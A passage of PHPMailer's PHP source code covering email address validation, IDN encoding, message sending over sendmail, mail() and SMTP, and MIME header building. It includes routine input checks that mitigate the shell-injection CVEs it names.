                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
